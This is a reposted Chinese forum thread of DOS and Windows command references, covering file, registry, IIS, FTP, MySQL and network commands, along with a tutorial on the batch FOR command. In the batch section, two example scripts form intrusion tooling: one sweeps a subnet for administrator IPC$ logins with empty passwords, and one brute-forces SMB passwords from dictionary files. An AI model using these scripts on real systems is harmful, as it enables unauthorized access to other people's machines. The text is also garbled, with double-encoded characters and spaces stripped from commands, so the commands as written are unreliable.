  dir查看文件,參數(shù):/Q顯示文件及目錄屬系統(tǒng)哪個(gè)用戶,/T:C顯示文件創(chuàng)建時(shí)間,/T:A顯示文件上次被訪問時(shí)間,/T:W上次被修改時(shí)間
  date/t、time/t使用此參數(shù)即“DATE/T”、“TIME/T”將只顯示當(dāng)前日期和時(shí)間,而不必輸入新日期和時(shí)間
  set指定環(huán)境變量名稱=要指派給變量的字符設(shè)置環(huán)境變量
  set顯示當(dāng)前所有的環(huán)境變量
  setp(或其它字符)顯示出當(dāng)前以字符p(或其它字符)開頭的所有環(huán)境變量
  pause暫停批處理程序,并顯示出:請按任意鍵繼續(xù)....
  if在批處理程序中執(zhí)行條件處理(更多說明見if命令及變量)
  goto標(biāo)簽將cmd.exe導(dǎo)向到批處理程序中帶標(biāo)簽的行(標(biāo)簽必須單獨(dú)一行,且以冒號(hào)打頭,例如:“:start”標(biāo)簽)
  call路徑\批處理文件名從批處理程序中調(diào)用另一個(gè)批處理程序(更多說明見call/?)
  for對一組文件中的每一個(gè)文件執(zhí)行某個(gè)特定命令(更多說明見for命令及變量)
  echoon或off打開或關(guān)閉echo,僅用echo不加參數(shù)則顯示當(dāng)前echo設(shè)置
  echo信息在屏幕上顯示出信息
  echo信息>>pass.txt將"信息"保存到pass.txt文件中
  findstr"Hello"aa.txt在aa.txt文件中尋找字符串hello
  find文件名查找某文件
  title標(biāo)題名字更改CMD窗口標(biāo)題名字
  color顏色值設(shè)置cmd控制臺(tái)前景和背景顏色;0=黑、1=藍(lán)、2=綠、3=淺綠、4=紅、5=紫、6=黃、7=白、8=灰、9=淡藍(lán)、A=淡綠、B=淡淺綠、C=淡紅、D=淡紫、E=淡黃、F=亮白
  prompt名稱更改cmd.exe的顯示的命令提示符(把C:\、D:\統(tǒng)一改為:EntSky\)
  #3三:
  ver在DOS窗口下顯示版本信息
  作者:diablo6182006-4-1314:37回復(fù)此發(fā)言
  --------------------------------------------------------------------------------

  15回復(fù):dos高級技術(shù)
  winver彈出一個(gè)窗口顯示版本信息(內(nèi)存大小、系統(tǒng)版本、補(bǔ)丁版本、計(jì)算機(jī)名)
  format盤符/FS:類型格式化磁盤,類型:FAT、FAT32、NTFS,例:FormatD:/FS:NTFS
  md目錄名創(chuàng)建目錄
  replace源文件要替換文件的目錄替換文件
  ren原文件名新文件名重命名文件名
  tree以樹形結(jié)構(gòu)顯示出目錄,用參數(shù)-f將列出第個(gè)文件夾中文件名稱
  type文件名顯示文本文件的內(nèi)容
  more文件名逐屏顯示輸出文件
  doskey要鎖定的命令=字符
  doskey要解鎖命令=為DOS提供的鎖定命令(編輯命令行,重新調(diào)用win2k命令,并創(chuàng)建宏)。如:鎖定dir命令:doskeydir=entsky(不能用doskeydir=dir);解鎖:doskeydir=
  taskmgr調(diào)出任務(wù)管理器
  chkdsk/FD:檢查磁盤D并顯示狀態(tài)報(bào)告;加參數(shù)/f并修復(fù)磁盤上的錯(cuò)誤
  tlntadmntelnt服務(wù)admn,鍵入tlntadmn選擇3,再選擇8,就可以更改telnet服務(wù)默認(rèn)端口23為其它任何端口
  exit退出cmd.exe程序或目前,用參數(shù)/B則是退出當(dāng)前批處理腳本而不是cmd.exe
  path路徑\可執(zhí)行文件的文件名為可執(zhí)行文件設(shè)置一個(gè)路徑。
  cmd啟動(dòng)一個(gè)win2K命令解釋窗口。參數(shù):/eff、/en關(guān)閉、開啟命令擴(kuò)展;更我詳細(xì)說明見cmd/?
  regedit/s注冊表文件名導(dǎo)入注冊表;參數(shù)/S指安靜模式導(dǎo)入,無任何提示;
  regedit/e注冊表文件名導(dǎo)出注冊表
  cacls文件名參數(shù)顯示或修改文件訪問控制列表(ACL)——針對NTFS格式時(shí)。參數(shù):/D用戶名:設(shè)定拒絕某用戶訪問;/P用戶名:perm替換指定用戶的訪問權(quán)限;/G用戶名:perm賦予指定用戶訪問權(quán)限;Perm可以是:N無,R讀取,W寫入,C更改(寫入),F(xiàn)完全控制;例:caclsD:\test.txt/Dpub設(shè)定d:\test.txt拒絕pub用戶訪問。
  cacls文件名查看文件的訪問用戶權(quán)限列表
  REM文本內(nèi)容在批處理文件中添加注解
  netsh查看或更改本地網(wǎng)絡(luò)配置情況

  #4四:
  IIS服務(wù)命令:
  iisreset/reboot重啟win2k計(jì)算機(jī)(但有提示系統(tǒng)將重啟信息出現(xiàn))
  iisreset/start或stop啟動(dòng)(停止)所有Internet服務(wù)
  iisreset/restart停止然后重新啟動(dòng)所有Internet服務(wù)
  iisreset/status顯示所有Internet服務(wù)狀態(tài)
  iisreset/enable或disable在本地系統(tǒng)上啟用(禁用)Internet服務(wù)的重新啟動(dòng)
  iisreset/rebootonerror當(dāng)啟動(dòng)、停止或重新啟動(dòng)Internet服務(wù)時(shí),若發(fā)生錯(cuò)誤將重新開機(jī)
  iisreset/noforce若無法停止Internet服務(wù),將不會(huì)強(qiáng)制終止Internet服務(wù)
  iisreset/timeoutVal在到達(dá)逾時(shí)間(秒)時(shí),仍未停止Internet服務(wù),若指定/rebootonerror參數(shù),則電腦將會(huì)重新開機(jī)。預(yù)設(shè)值為重新啟動(dòng)20秒,停止60秒,重新開機(jī)0秒。
  FTP命令:(后面有詳細(xì)說明內(nèi)容)
  ftp的命令行格式為:
  ftp-v-d-i-n-g[主機(jī)名]-v顯示遠(yuǎn)程服務(wù)器的所有響應(yīng)信息。
 ?。璬使用調(diào)試方式。
 ?。璶限制ftp的自動(dòng)登錄,即不使用.netrc文件。
  -g取消全局文件名。
  help[命令]或?[命令]查看命令說明
  bye或quit終止主機(jī)FTP進(jìn)程,并退出FTP管理方式.
  pwd列出當(dāng)前遠(yuǎn)端主機(jī)目錄
  put或send本地文件名[上傳到主機(jī)上的文件名]將本地一個(gè)文件傳送至遠(yuǎn)端主機(jī)中
  get或recv[遠(yuǎn)程主機(jī)文件名][下載到本地后的文件名]從遠(yuǎn)端主機(jī)中傳送至本地主機(jī)中
  mget[remote-files]從遠(yuǎn)端主機(jī)接收一批文件至本地主機(jī)
  mputlocal-files將本地主機(jī)中一批文件傳送至遠(yuǎn)端主機(jī)
  dir或ls[remote-directory][local-file]列出當(dāng)前遠(yuǎn)端主機(jī)目錄中的文件.如果有本地文件,就將結(jié)果寫至本地文件
  ascii設(shè)定以ASCII方式傳送文件(缺省值)
  bin或image設(shè)定以二進(jìn)制方式傳送文件
  bell每完成一次文件傳送,報(bào)警提示
  cdup返回上一級目錄
  close中斷與遠(yuǎn)程服務(wù)器的ftp會(huì)話(與open對應(yīng))
  openhost[port]建立指定ftp服務(wù)器連接,可指定連接端口
  作者:diablo6182006-4-1314:37回復(fù)此發(fā)言
  --------------------------------------------------------------------------------
  16回復(fù):dos高級技術(shù)
  delete刪除遠(yuǎn)端主機(jī)中的文件
  mdelete[remote-files]刪除一批文件
  mkdirdirectory-name在遠(yuǎn)端主機(jī)中建立目錄
  rename[from][to]改變遠(yuǎn)端主機(jī)中的文件名
  rmdirdirectory-name刪除遠(yuǎn)端主機(jī)中的目錄
  status顯示當(dāng)前FTP的狀態(tài)
  system顯示遠(yuǎn)端主機(jī)系統(tǒng)類型
  useruser-name[password][account]重新以別的用戶名登錄遠(yuǎn)端主機(jī)
  openhost[port]重新建立一個(gè)新的連接
  prompt交互提示模式
  macdef定義宏命令
  lcd改變當(dāng)前本地主機(jī)的工作目錄,如果缺省,就轉(zhuǎn)到當(dāng)前用戶的HOME目錄
  chmod改變遠(yuǎn)端主機(jī)的文件權(quán)限
  case當(dāng)為ON時(shí),用MGET命令拷貝的文件名到本地機(jī)器中,全部轉(zhuǎn)換為小寫字母
  cdremote-dir進(jìn)入遠(yuǎn)程主機(jī)目錄
  cdup進(jìn)入遠(yuǎn)程主機(jī)目錄的父目錄
  !在本地機(jī)中執(zhí)行交互shell,exit回到ftp環(huán)境,如!ls*.zip
  #5五:
  MYSQL命令:
  mysql-h主機(jī)地址-u用戶名-p密碼連接MYSQL;如果剛安裝好MYSQL,超級用戶root是沒有密碼的。
  (例:mysql-h110.110.110.110-Uroot-P123456
  注:u與root可以不用加空格,其它也一樣)
  exit退出MYSQL

  mysqladmin-u用戶名-p舊密碼password新密碼修改密碼
  grantselecton數(shù)據(jù)庫.*to用戶名@登錄主機(jī)identifiedby\"密碼\";增加新用戶。(注意:和上面不同,下面的因?yàn)槭荕YSQL環(huán)境中的命令,所以后面都帶一個(gè)分號(hào)作為命令結(jié)束符)
  showdatabases;顯示數(shù)據(jù)庫列表。剛開始時(shí)才兩個(gè)數(shù)據(jù)庫:mysql和test。mysql庫很重要它里面有MYSQL的系統(tǒng)信息,我們改密碼和新增用戶,實(shí)際上就是用這個(gè)庫進(jìn)行操作。
  usemysql;
  showtables;顯示庫中的數(shù)據(jù)表
  describe表名;顯示數(shù)據(jù)表的結(jié)構(gòu)
  createdatabase庫名;建庫
  use庫名;
  createtable表名(字段設(shè)定列表);建表
  dropdatabase庫名;
  droptable表名;刪庫和刪表
  deletefrom表名;將表中記錄清空
  select*from表名;顯示表中的記錄
  mysqldump--optschool>school.bbb備份數(shù)據(jù)庫:(命令在DOS的[url=file://\\mysql\\bin]\\mysql\\bin[/url]目錄下執(zhí)行);注釋:將數(shù)據(jù)庫school備份到school.bbb文件,school.bbb是一個(gè)文本文件,文件名任取,打開看看你會(huì)有新發(fā)現(xiàn)。

  win2003系統(tǒng)下新增命令(實(shí)用部份):

  shutdown/參數(shù)關(guān)閉或重啟本地或遠(yuǎn)程主機(jī)。
  參數(shù)說明:/S關(guān)閉主機(jī),/R重啟主機(jī),/T數(shù)字設(shè)定延時(shí)的時(shí)間,范圍0~180秒之間,/A取消開機(jī),/M//IP指定的遠(yuǎn)程主機(jī)。
  例:shutdown/r/t0立即重啟本地主機(jī)(無延時(shí))
  taskill/參數(shù)進(jìn)程名或進(jìn)程的pid終止一個(gè)或多個(gè)任務(wù)和進(jìn)程。
  參數(shù)說明:/PID要終止進(jìn)程的pid,可用tasklist命令獲得各進(jìn)程的pid,/IM要終止的進(jìn)程的進(jìn)程名,/F強(qiáng)制終止進(jìn)程,/T終止指定的進(jìn)程及他所啟動(dòng)的子進(jìn)程。
  tasklist顯示當(dāng)前運(yùn)行在本地和遠(yuǎn)程主機(jī)上的進(jìn)程、服務(wù)、服務(wù)各進(jìn)程的進(jìn)程標(biāo)識(shí)符(PID)。
  參數(shù)說明:/M列出當(dāng)前進(jìn)程加載的dll文件,/SVC顯示出每個(gè)進(jìn)程對應(yīng)的服務(wù),無參數(shù)時(shí)就只列出當(dāng)前的進(jìn)程。

  --------------------------------------------------------------------------------
  17回復(fù):dos高級技術(shù)
  w查詢目前上機(jī)者的詳細(xì)資料
  whoami查看自己的賬號(hào)名稱
  groups查看某人的Group
  passwd更改密碼
  history查看自己下過的命令
  ps顯示進(jìn)程狀態(tài)
  kill停止某進(jìn)程
  gcc黑客通常用它來編譯C語言寫的文件
  su權(quán)限轉(zhuǎn)換為指定使用者
  telnetIPtelnet連接對方主機(jī)(同win2K),當(dāng)出現(xiàn)bash$時(shí)就說明連接成功。
  ftpftp連接上某服務(wù)器(同win2K)


  附:批處理命令與變量
------------------------------------------------------------------------
  1:for命令及變量基本格式:
  FOR/參數(shù)%variableIN(set)DOcommand[command_parameters]%variable:指定一個(gè)單一字母可替換的參數(shù),如:%i,而指定一個(gè)變量則用:%%i,而調(diào)用變量時(shí)用:%i%,變量是區(qū)分大小寫的(%i不等于%I)。
  批處理每次能處理的變量從%0—%9共10個(gè),其中%0默認(rèn)給批處理文件名使用,%1默認(rèn)為使用此批處理時(shí)輸入的的第一個(gè)值,同理:%2—%9指輸入的第2-9個(gè)值;例:netuse[url=file://\\ip\ipc$]\\ip\ipc$[/url]pass/user:user中ip為%1,pass為%2,user為%3
  (set):指定一個(gè)或一組文件,可使用通配符,如:(D:\user.txt)和(11254)(1-1254),{“(11254)”第一個(gè)"1"指起始值,第二個(gè)"1"指增長量,第三個(gè)"254"指結(jié)束值,即:從1到254;“(1-1254)”說明:即從254到1}
  command:指定對第個(gè)文件執(zhí)行的命令,如:netuse命令;如要執(zhí)行多個(gè)命令時(shí),命令這間加:&來隔開
  command_parameters:為特定命令指定參數(shù)或命令行開關(guān)
  IN(set):指在(set)中取值;DOcommand:指執(zhí)行command
  參數(shù):/L指用增量形式{(set)為增量形式時(shí)};/F指從文件中不斷取值,直到取完為止{(set)為文件時(shí),如(d:\pass.txt)時(shí)}。
  用法舉例:
  @echooff
  echo用法格式:test.bat*.*.*>test.txt
  for/L%%Gin(11254)doecho%1.%%G>>test.txt&netuse[url=file://\\%1.%%G]\\%1.%%G[/url]/user:administrator|find"命令成功完成">>test.txt
  存為test.bat說明:對指定的一個(gè)C類網(wǎng)段的254個(gè)IP依次試建立administrator密碼為空的IPC$連接,如果成功就把該IP存在test.txt中。
  /L指用增量形式(即從1-254或254-1);輸入的IP前面三位:*.*.*為批處理默認(rèn)的%1;%%G為變量(ip的最后一位);&用來隔開echo和netuse這二個(gè)命令;|指建立了ipc$后,在結(jié)果中用find查看是否有"命令成功完成"信息;%1.%%G為完整的IP地址;(11254)指起始值,增長量,結(jié)止值。
  @echooff
  echo用法格式:ok.batip
  FOR/F%%iIN(D:\user.dic)DOsmb.exe%1%%iD:\pass.dic200
  存為:ok.exe說明:輸入一個(gè)IP后,用字典文件d:\pass.dic來暴解d:\user.dic中的用戶密碼,直到文件中值取完為止。%%i為用戶名;%1為輸入的IP地址(默認(rèn))。

  #7七:
  2:if命令及變量基本格式:
  IF[not]errorlevel數(shù)字命令語句如果程序運(yùn)行最后返回一個(gè)等于或大于指定數(shù)字的退出編碼,指定條件為“真”。

  例:IFerrorlevel0命令指程序執(zhí)行后返回的值為0時(shí),就值行后面的命令;IFnoterrorlevel1命令指程序執(zhí)行最后返回的值不等于1,就執(zhí)行后面的命令。
  0指發(fā)現(xiàn)并成功執(zhí)行(真);1指沒有發(fā)現(xiàn)、沒執(zhí)行(假)。
  IF[not]字符串1==字符串2命令語句如果指定的文本字符串匹配(即:字符串1等于字符串2),就執(zhí)行后面的命令。

  例:“if"%2%"=="4"gotostart”指:如果輸入的第二個(gè)變量為4時(shí),執(zhí)行后面的命令(注意:調(diào)用變量時(shí)就%變量名%并加"")
  IF[not]exist文件名命令語句如果指定的文件名存在,就執(zhí)行后面的命令。

  例:“ifnotnc.exegotoend”指:如果沒有發(fā)現(xiàn)nc.exe文件就跳到":end"標(biāo)簽處。
  IF[not]errorlevel數(shù)字命令語句else命令語句或IF[not]字符串1==字符串2命令語句else命令語句或IF[not]exist文件名命令語句else命令語句加上:else命令語句后指:當(dāng)前面的條件不成立時(shí),就指行else后面的命令。注意:else必須與if在同一行才有效。當(dāng)有del命令時(shí)需把del命令全部內(nèi)容用括起來,因?yàn)閐el命令要單獨(dú)一行時(shí)才能執(zhí)行,用上后就等于是單獨(dú)一行了;例如:“ifexisttest.txt.elseechotest.txt.missing”,注意命令中的“.”
  
  --------------------------------------------------------------------------------
  19 dos:FOR高級技術(shù)

  以前常覺得DOS的命令行功能太弱,無法象UNIX一樣可以用命令行完成非常復(fù)雜的操作。實(shí)際上,當(dāng)MS從WIN2K開始將命令行增強(qiáng)后,已經(jīng)借鑒了相當(dāng)多UNIX的優(yōu)點(diǎn),雖然還無法做到象UNIX那么靈活,但已可完成絕大多數(shù)的任務(wù),比如用&&和||連接兩個(gè)(或更多)命令,由前一個(gè)的返回值來決定下一個(gè)是否執(zhí)行,等等。而在這些增強(qiáng)中,最明顯的,就是FOR命令。
  舉個(gè)例子,用適當(dāng)?shù)膮?shù),可用FOR命令將date/t的輸出從"Sat07/13/2002"變成你想要的格式,比如,"2002-07-13":
  c:\>for/f"tokens=2,3,4delims=/"%ain('date/t')do@echo%c-%a-%b
  2002-07-13
  該例將在(3)中詳細(xì)說明。

  0.基本應(yīng)用
  簡單說,F(xiàn)OR是個(gè)循環(huán),可以用你指定的循環(huán)范圍生成一系列命令。最簡單的例子,就是人工指定循環(huán)范圍,然后對每個(gè)值執(zhí)行指定的命令。例如,想快速報(bào)告每個(gè)硬盤分區(qū)的剩余空間:
  for%ain(c:d:e:fdo@dir%a\|find"bytesfree"
  將輸出:
  8Dir(s)1,361,334,272bytesfree
  15Dir(s)8,505,581,568bytesfree
  12Dir(s)12,975,149,056bytesfree
  7Dir(s)11,658,854,400bytesfree
  用它可以使一些不支持通配符的命令對一系列文件進(jìn)行操作。在WIN9X中,TYPE命令(顯示文件內(nèi)容)是不支持*.txt這種格式的(WIN2K開始TYPE已支持通配)。遇到類似情況就可以用FOR:
  for%ain(*.txt)dotype%a
  這些還不是FOR最強(qiáng)大的功能。我認(rèn)為它最強(qiáng)大的功能,表現(xiàn)在以下這些高級應(yīng)用:
  1.可以用/r參數(shù)遍歷整個(gè)目錄樹
  2.可以用/f參數(shù)將文本文件內(nèi)容作為循環(huán)范圍
  3.可以用/f參數(shù)將某一命令執(zhí)行結(jié)果作為循環(huán)范圍
  4.可以用%~操作符將文件名分離成文件名、擴(kuò)展名、盤符等獨(dú)立部分

  現(xiàn)分別舉例說明如下:

  1.用/r遍歷目錄樹
  當(dāng)用*.*或*.txt等文件名通配符作為for/r的循環(huán)范圍時(shí),可以對當(dāng)前目錄下所有文件(包括子目錄里面的文件)進(jìn)行操作。舉個(gè)例子,你想在當(dāng)前目錄的所有txt文件(包括子目錄)內(nèi)容中查找"bluebear"字樣,但由于find本身不能遍歷子目錄,所以我們用for:
  for/r.%ain(*.txt)do@find"bluebear"%a
  find前面的@只是讓輸出結(jié)果不包括find命令本身。這是DOS很早就有的功能。和FOR無關(guān)。
  當(dāng)用.作為循環(huán)范圍時(shí),for只將子目錄的結(jié)構(gòu)(目錄名)作為循環(huán)范圍,而不包括里面的文件。有點(diǎn)象TREE命令,不過側(cè)重點(diǎn)不同。TREE的重點(diǎn)是用很漂亮易讀的格式輸出,而FOR的輸出適合一些自動(dòng)任務(wù),例如,我們都知道用CVS管理的項(xiàng)目中,每個(gè)子目錄下都會(huì)有一個(gè)CVS目錄,有時(shí)在軟件發(fā)行時(shí)我們想把這些CVS目錄全部去掉:
  for/r.%ain(.)do@ifexist%a\CVSrd/s/q%a\CVS
  先用ifexist判斷一下,是因?yàn)閒or只是機(jī)械的對每個(gè)目錄進(jìn)行列舉,如果有些目錄下面沒有CVS也會(huì)被執(zhí)行到。用ifexist判斷一下比較安全。

  這種刪除命令威力太大,請小心使用。最好是在真正執(zhí)行以上的刪除命令前,將rd/s/q換成@echo先列出要?jiǎng)h出的目錄,確認(rèn)無誤后再換回rd/s/q:
  for/r.%ain(.)do@ifexist%a\CVS@echo%a\CVS
  可能目錄中會(huì)多出一層".",比如c:\proj\release\.\CVS,但不會(huì)影響命令的執(zhí)行效果。

  2.將某一文件內(nèi)容或命令執(zhí)行結(jié)果作為循環(huán)范圍:
  假如你有一個(gè)文件todel.txt,里面是所有要?jiǎng)h除的文件列表,現(xiàn)在你想將里面列出的每個(gè)文件都刪掉。假設(shè)這個(gè)文件是每個(gè)文件名占一行,象這樣:
  c:\temp\a1.txt
  c:\temp\a2.txt
  c:\temp\subdir\b3.txt
  c:\temp\subdir\b4.txt
  那么可以用FOR來完成:
  for/f%ain(todel.txt)dodel%a
  這個(gè)命令還可以更強(qiáng)大。比如你的todel.txt并不是象上面例子那么干凈,而是由DIR直接生成,有一些沒用的信息,比如這樣:

  VolumeindriveDisDATA
  VolumeSerialNumberisC47C-9908
  DirectoryofD:\tmp
  09/26/200112:50PM18,426alg0925.txt
  12/02/200104:29AM795bsample.txt
  04/11/200204:18AM2,043invitation.txt
  4File(s)25,651bytes
  0Dir(s)4,060,700,672bytesfree

  for仍然可以解出其中的文件名并進(jìn)行操作:
  for/f"skip=5tokens=5"%ain(todel.txt)do@ifexist%aDEL%a

  當(dāng)然,上面這個(gè)命令是在進(jìn)行刪除,如果你只是想看看哪些文件將被操作,把DEL換成echo:
  for/f"skip=5tokens=5"%ain(todel.txt)do@ifexist%aecho%a
  你將看到:
  alg0925.txt
  bsample.txt
  invitation.txt
  skip=5表示跳過前5行(就是DIR輸出的頭部信息),tokens=5表示將每行的第5列作為循環(huán)值放入%a,正好是文件名。在這里我加了一個(gè)文件存在判斷,是因?yàn)樽詈笠恍械?free"剛好也是第5列,目前還想不出好的辦法來濾掉最后兩行,所以檢查一下可保萬無一失。
  3.可以用/f參數(shù)將某一命令執(zhí)行結(jié)果作為循環(huán)范圍
  非常有用的功能。比如,我們想知道目前的環(huán)境變量有哪些名字(我們只要名字,不要值)??墒荢ET命令的輸出是“名字=值”的格式,現(xiàn)在可以用FOR來只取得名字部分:
  FOR/F"delims=="%iIN('set')DO@echo%i
  將看到:
  ALLUSERSPROFILE
  APPDATA
  CLASSPATH
  CommonProgramFiles
  COMPUTERNAME
  ComSpec
  dircmd
  HOMEDRIVE
  ......
  這里是將set命令執(zhí)行的結(jié)果拿來作為循環(huán)范圍。delims==表示用=作為分隔符,由于FOR/F默認(rèn)是用每行第一個(gè)TOKEN,所以可以分離出變量名。如果是想僅列出值:
  FOR/F"delims==tokens=2"%iIN('set')DO@echo%i
  tokens=2和前例相同,表示將第二列(由=作為分隔符)作為循環(huán)值。
  再來個(gè)更有用的例子:
  我們知道date/t(/t表示不要詢問用戶輸入)的輸出是象這樣的:
  Sat07/13/2002
  現(xiàn)在我想分離出日期部分,也就是13:
  for/f"tokens=3delims=/"%ain('date/t')do@echo%a
  實(shí)際上把tokens后面換成1,2,3或4,你將分別得到Sat,07,13和2002。注意delims=/后面還有個(gè)空格,表示/和空格都是分隔符。由于這個(gè)空格delims必須是/f選項(xiàng)的最后一項(xiàng)。
  再靈活一點(diǎn),象本文開頭提到的,將日期用2002-07-13的格式輸出:
  for/f"tokens=2,3,4delims=/"%ain('date/t')do@echo%c-%a-%b
  當(dāng)tokens后跟多個(gè)值時(shí),將分別映射到%a,%b,%c等。實(shí)際上跟你指定的變量有關(guān),如果你指定的是%i,它們就會(huì)用%i,%j,%k等。
  靈活應(yīng)用這一點(diǎn),幾乎沒有做不了的事。
  4.可以用%~操作符將文件名分離成文件名、擴(kuò)展名、盤符等獨(dú)立部分
  這個(gè)比較簡單,就是說將循環(huán)變量的值自動(dòng)分離成只要文件名,只要擴(kuò)展名,或只要盤符等等。
  例:要將c:\mp3下所有mp3的歌名列出,如果用一般的dir/b/s或for/r,將會(huì)是這樣:
  g:\mp3\Archived\05-18-01-A\游鴻明-下沙\游鴻明-01下沙.mp3
  g:\mp3\Archived\05-18-01-A\游鴻明-下沙\游鴻明-0221個(gè)人.mp3
  ......
  g:\mp3\Archived\05-18-01-A\王菲-寓言\王菲-阿修羅.mp3
  g:\mp3\Archived\05-18-01-A\王菲-寓言\王菲-彼岸花.mp3
  g:\mp3\Archived\05-18-01-A\王菲-寓言\王菲-不愛我的我不愛.mp3
  ......
  如果我只要歌名(不要路徑和".mp3"):
  游鴻明-01下沙
  游鴻明-0221個(gè)人
  ......
  王菲-阿修羅
  王菲-彼岸花
  王菲-不愛我的我不愛
  ......
  那么可以用FOR命令:
  for/rg:\mp3%ain(*.mp3)do@echo%~na
  凡是%~開頭的操作符,都是文件名的分離操作。具體請看for/?幫助。
  本文舉的例子有些可能沒有實(shí)際用處,或可用其它辦法完成。僅用于體現(xiàn)FOR可以不借助其它工具,僅用DOS命令組合,就可完成相當(dāng)靈活的任務(wù)。
  具體請看for/?幫助
  作者:diablo6182006-4-1314:39回復(fù)此發(fā)言


  --------------------------------------------------------------------------------
  21  dos網(wǎng)絡(luò)命令全集

  二、ipconfig/winipcfg
  與ping命有所區(qū)別,利用ipconfig和winipcfg工具可以查看和修改網(wǎng)絡(luò)中的tcp/ip協(xié)議的有關(guān)配置,如ip地址、網(wǎng)關(guān)、子網(wǎng)掩碼等。還可以查看主機(jī)的相關(guān)信息如:主機(jī)名、dns服務(wù)器、節(jié)點(diǎn)類型等。其中網(wǎng)絡(luò)適配器的物理地址在檢測網(wǎng)絡(luò)錯(cuò)誤時(shí)非常有用。這兩個(gè)工具在windows95/98中都能使用,功能基本相同,只是ipconfig是以dos的字符形式顯示,而winipcfg則用圖形界面顯示,也就是其實(shí)兩個(gè)工具是一個(gè)工具,只不過一個(gè)是dos下的版本,另一個(gè)為windwos下的版本,但要注意,在windowsnt中只能運(yùn)行于dos方式下的ipconfig工具。(在命令提示符下鍵入winipcfg/?或ipconfig可獲得winipcfg或ipconfig的使用幫助。)

  主要功能:顯示用戶所在主機(jī)內(nèi)部的ip協(xié)議的配置信息
  1、ipconfig命令的語法格式
  ipconfig[/all][/batchfile][/renewall][/releaseall][/renewn][/releasen]
  all——顯示與tcp/ip協(xié)議相關(guān)的所有細(xì)節(jié)信息,其中包括測試的主機(jī)名、ip地址、子網(wǎng)掩碼、節(jié)點(diǎn)類型、是否啟用ip路由、網(wǎng)卡的物理地址、默認(rèn)網(wǎng)關(guān)等。
  batchfile——將測試的結(jié)果存入指定的“file“文件名中,以便于逐項(xiàng)查看,如果省略file文件名,則系統(tǒng)會(huì)把這測試的結(jié)果保存在系統(tǒng)的“winipcfg.out”文件中。
  renewall——更新全部適配器的通信配置情況,所有測試重新開始。
  releaseall——釋放全部適配器的通信配置情況。
  renewn——更新第n號(hào)適配器的通信配置情況,所有測試重新開始。
  releasen——釋放第n號(hào)適配器的通信配置情況。

  2、winipcfg命令
  winipcfg工具的功能與ipconfig基本相同,只是winipcfg是以圖形界面的方式顯示,在操作上更加方便。當(dāng)用戶需要查看任何一臺(tái)機(jī)器上tcp/ip協(xié)議的配置情況時(shí),只需在windows95/98上選擇“開始→運(yùn)行”,在出現(xiàn)的對話框中輸入命令“winipcfg”,將出現(xiàn)測試結(jié)果。如何種類型的網(wǎng)卡、網(wǎng)卡的物理地址、主機(jī)的ip地址、子網(wǎng)掩碼、路由器的地址、如果用戶想更加詳細(xì)地了解該主機(jī)的其他ip協(xié)議配置信息,例如dns服務(wù)器、dhcp服務(wù)器等方面的信息,可以直接單擊該界面中的“詳細(xì)信息”按鈕。單擊“詳細(xì)信息”按鈕,在隨后出現(xiàn)的對話框中可以查看和改變tcp/ip的有關(guān)配置參數(shù)。當(dāng)一臺(tái)機(jī)器上安裝有多個(gè)網(wǎng)卡時(shí),還可以查找到每個(gè)網(wǎng)卡的物理地址和有關(guān)協(xié)議的綁定情況等。

  3、ipconfig/winipcfg的應(yīng)用
  (1)、查找目標(biāo)主機(jī)的ip地址及其它有關(guān)tcp/ip協(xié)議的信息。方法如下:按「開始」菜單執(zhí)行「運(yùn)行」菜單項(xiàng),輸入winipcfg,就會(huì)出現(xiàn)一個(gè)ip組態(tài)窗口,這里會(huì)顯示有關(guān)于你目前網(wǎng)絡(luò)ip的一些詳細(xì)設(shè)置數(shù)據(jù)?;蛘?,你也可以在ms-dos模式下,輸入ipconfig,也是一樣可以顯示詳細(xì)的ip信息,只不過此畫面是在dos下而已。

  (2)、ipconfig/winipcfg應(yīng)該說是一款網(wǎng)絡(luò)偵察的利器,尤其當(dāng)用戶的網(wǎng)絡(luò)中設(shè)置的是dhcp(動(dòng)態(tài)ip地址配置協(xié)議)時(shí),利用ipconfig/winipcfg可以讓用戶很方便地了解到所用ipconfig/winipcfg機(jī)的ip地址的實(shí)際配置情況。因?yàn)樗幸粋€(gè)“/all”這個(gè)參數(shù),所以它可偵查到本機(jī)上所有網(wǎng)絡(luò)適配的ip地址分配情況,比ping命令更為詳細(xì)。如果我們在計(jì)算機(jī)bb_data客戶端上運(yùn)行“ipconfig/all/batchdata.txt”后,打開data.txt文件,將能非常詳細(xì)地顯示所有與tcp/ip協(xié)議有關(guān)的配置情況。當(dāng)然與ping相比也有它的不足之處就是它只能在本機(jī)
 
本文來自CSDN博客,轉(zhuǎn)載請標(biāo)明出處:http://blog.csdn.net/lightyearwp/archive/2008/09/14/2802163.aspx
本站僅提供存儲(chǔ)服務(wù),所有內(nèi)容均由用戶發(fā)布,如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請點(diǎn)擊舉報(bào)。
打開APP,閱讀全文并永久保存 查看更多類似文章
猜你喜歡
類似文章
DOS命令 DOS批處理 ECHO 系統(tǒng)變量
dos命令bat文件中的特殊符號(hào)意思 12個(gè)
非常好的for教程,看完這個(gè)保你會(huì)用for
Win + DOS
dos基礎(chǔ)教程 -
常用Dos命令
更多類似文章 >>
生活服務(wù)
熱點(diǎn)新聞
分享 收藏 導(dǎo)長圖 關(guān)注 下載文章
綁定賬號(hào)成功
后續(xù)可登錄賬號(hào)暢享VIP特權(quán)!
如果VIP功能使用有故障,
可點(diǎn)擊這里聯(lián)系客服!

聯(lián)系客服